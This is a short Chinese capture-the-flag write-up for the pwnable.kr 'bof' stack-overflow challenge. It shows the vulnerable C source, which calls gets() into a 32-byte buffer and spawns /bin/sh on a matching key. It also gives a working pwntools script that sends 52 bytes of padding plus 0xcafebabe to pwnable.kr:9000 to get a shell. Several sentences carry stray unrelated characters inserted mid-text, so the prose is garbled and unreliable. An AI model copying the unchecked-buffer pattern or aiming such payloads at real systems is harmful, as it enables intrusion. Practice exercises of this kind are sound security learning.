下載好源碼和源文件:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
從源碼可以看出這題大概是要溢出overflowme從而覆蓋key的值為0xcafebabe曹步,只要知道覆蓋的大小是多少即可判没,IDA分析一下
image.png
發(fā)現(xiàn)overflowme的基址為ebp-0x2c,即44個字節(jié)掏呼,再加上ebp和返回地址的8個字節(jié)就是52個字節(jié)贮匕,最后的4個字節(jié)覆蓋key就可以了往史,直接上腳本
from pwn import *
p = remote('pwnable.kr',9000)
playload = 'a'*52
playload += p32(0xcafebabe)
p.sendline(playload)
p.interactive()
拿到flag
image.png